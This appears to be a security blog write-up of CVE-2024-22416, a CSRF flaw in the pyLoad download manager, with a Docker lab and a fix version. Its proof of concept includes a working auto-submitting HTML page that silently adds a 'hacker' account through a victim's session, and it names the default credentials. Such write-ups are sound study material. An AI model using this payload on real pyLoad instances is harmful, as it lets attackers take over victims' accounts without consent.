Introduction
CVE-2024-22416 refers to a Cross-Site Request Forgery (CSRF) vulnerability identified in the pyLoad (pyload-ng) library. pyLoad is a popular open-source download manager written in Python. This vulnerability exposes users to potential unauthorized actions on their instances due to improper session cookie handling within the pyLoad API.
Technical Analysis
The vulnerability resides in the pyLoad API's acceptance of unauthenticated GET requests for various functionalities. This mechanism lacks proper validation, allowing attackers to leverage a CSRF attack. The root cause lies in the session cookie not being configured with the SameSite: strict attribute.
Impact
A successful CSRF exploit grants an unauthenticated attacker the ability to perform arbitrary actions within a victim's pyLoad instance. This could include:
Downloading malicious files
Manipulating download configurations
Exfiltrating sensitive information
Disrupting download operations
Exploitation
An attacker can craft a malicious webpage or inject code into a legitimate website. This webpage would contain a seemingly harmless link or form that, when clicked by a logged-in pyLoad user, would transmit a crafted GET request to the pyLoad API. Since the session cookie is not restricted, the attacker's request would be executed within the victim's context, bypassing authentication checks.
Proof of Concept
To build a proof of concept lab for this exploit, we will need two docker containers. First one will host the PyLoad instance running on port 8000 in our local environment, and the other one would host our malicious file that we would like the victim to access. We are using the the following docker-compose:
version: '2'
services:
pyload:
image: cve-2024-22416-pyload
build: ./pyload
ports:
- 8000:8000 # Webinterface
- 9666:9666 # Click 'N' Load
restart: unless-stopped
attacker:
image: cve-2024-22416-attacker
build: ./attacker
ports:
- 8001:80
restart: unless-stoppedThe ./pyload folder contains the following Dockerfile:
FROM python:3.10-alpine3.18
RUN apk update && apk add curl-dev python3-dev openssl-dev gcc libc-dev
RUN pip install pyload-ng==0.5.0b3.dev76 && mkdir -p /pyload/storage /pyload/user
COPY pyload.cfg /pyload/user/settings/pyload.cfg
CMD ["pyload", "--storagedir", "/pyload/storage", "--userdir", "/pyload/user"]Whereas, the ./attacker folder contains the following Dockerfile:
FROM nginx:alpine
COPY csrf.html /usr/share/nginx/htmlThe csrf.html is also located in the same ./attacker folder with content:
<html>
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>To build the images and run the containers, we can execute the following docker command:
docker-compose up
Once the containers are up and running, we can access the pyload instance on http://localhost:8000
We can use the default admin credentials (pyload:pyload) to login. Once we are logged in, let's go to settings/users to verify that there's only one user (pyload) registered as of yet in the running victim pyload instance.
So the victim is now logged in, we can trick him to access our payload on http://localhost:8001/csrf.html
This will trigger the injected code in our malicious HTML file and send a POST request to the pyload service from the victim's browser (the same browser he has an active admin session with pyload service) to add a new user with credentials (hacker:hacker).
Once we are done with it, we can go ahead and verify the registration of a new user at settings/users in our PyLoad service.
Mitigation
Upgrading to pyLoad version 0.5.0b3.dev78 or later addresses this vulnerability. This version includes a fix that enforces the SameSite: strict attribute on the session cookie, effectively mitigating the CSRF attack vector.
Recommendations for Researchers
Analyze the code changes introduced in pyLoad version 0.5.0b3.dev78 to understand the specific mitigation implemented.
Explore potential bypass techniques that might circumvent the SameSite: strict enforcement, considering browser compatibility and edge cases.
Investigate the wider implications of CSRF vulnerabilities in download manager applications and potential attack scenarios.
Conclusion
CVE-2024-22416 highlights the importance of proper session management and CSRF protection in web applications. By implementing the SameSite: strict attribute and following secure coding practices, developers can significantly reduce the attack surface for CSRF vulnerabilities. Researchers should stay updated on emerging vulnerabilities and contribute to the development of robust mitigation strategies.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-22416 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.
